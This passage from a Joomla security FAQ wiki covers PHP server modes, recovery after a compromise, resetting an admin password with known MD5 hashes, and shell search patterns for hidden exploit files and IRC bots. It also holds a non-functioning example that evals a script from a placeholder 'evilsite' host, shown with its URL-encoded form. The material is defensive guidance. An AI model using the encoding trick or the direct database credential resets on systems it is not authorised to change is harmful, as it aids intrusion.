time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including
recommendations on configuration; 
 

Joomla! Tools Suite (JTS) is a complete "Suite" of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script 
<a href="http://joomlacode.org/gf/project/jts/" target="_blank">Download JTS Here</a> 
 
Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. 
<a href="http://joomlacode.org/gf/project/hisa/" target="_blank">Download HISA Here</a> 
 
<a href="http://forum.joomla.org/index.php/topic,136328.0.html" target="_blank">Forum Discussion Here</a> 
<a href="http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank">How to TroubleShoot A Joomla! Installation</a> 
 
Another Indirect method,
and possibly not 100% reliable, is that if you are unable to make use
of .htaccess on Linux hosting and Apache based servers then you are
either running in CGI mode or your host has disabled the use of
.htaccess even if your server is running PHP as an Apache Module. 

Remove these files immediately after use, the information contained in their
output is extensive and explicit regarding your PHP and server
configurations, it will help those wishing to cause your site harm 

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse'
your PHP scripts, the httpd.conf needs to be modified, typically found
in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/". 

Search for the section of the file that has a series of commented out
"LoadModule" statements. (Statements prefixed by the hash "#" sign are
regarded as having been commented out.) If PHP is running in "Apache
Module" Mode you should see something very similar to the following; 

LoadModule php4_module "c:/php/php4apache.dll" 

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

 
AddType application/x-httpd-php .php 
 
As
in the case of running PHP as an Apache module, you can add whatever
extensions you want Apache to recognise as PHP scripts, such as: 
 
AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 
 
 
Next,
you will need to tell the server to execute the PHP executable each
time it encounters a PHP script. Add the following below any existing
entries in the "Action" section. 

 
Action application/x-httpd-php "/php/php.exe" 
 
If
you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a
path alias which will correlate to your PHP installation path
configured previously. In other words, don't put "c:/php/php.exe"
or "c:/Program Files/php/php.exe" in that directive, put

"/php/php.exe", Apache WILL work it out if correctly configured. 
<hr />
 
 
Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module
or running it as a CGI binary, and has been seen often enough to
warrant a mention. 
 
If you want to make your PHP script execute
as the default page for a directory, you have to add another line to
the "httpd.conf". Simply search for the line in the file that begins
with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be: 

 
DirectoryIndex index.html 
 
change it to 
 
DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files 

 
The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==

'''Overview'''

Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''
More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =

== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

User:Royce

2011-06-26T21:42:20Z

Royce: Created page with "I am working on migrating some sites that I maintain to Joomla. My personal pages are [http://www.alaska.net/~royce/ here]."

I am working on migrating some sites that I maintain to Joomla.

My personal pages are [http://www.alaska.net/~royce/ here].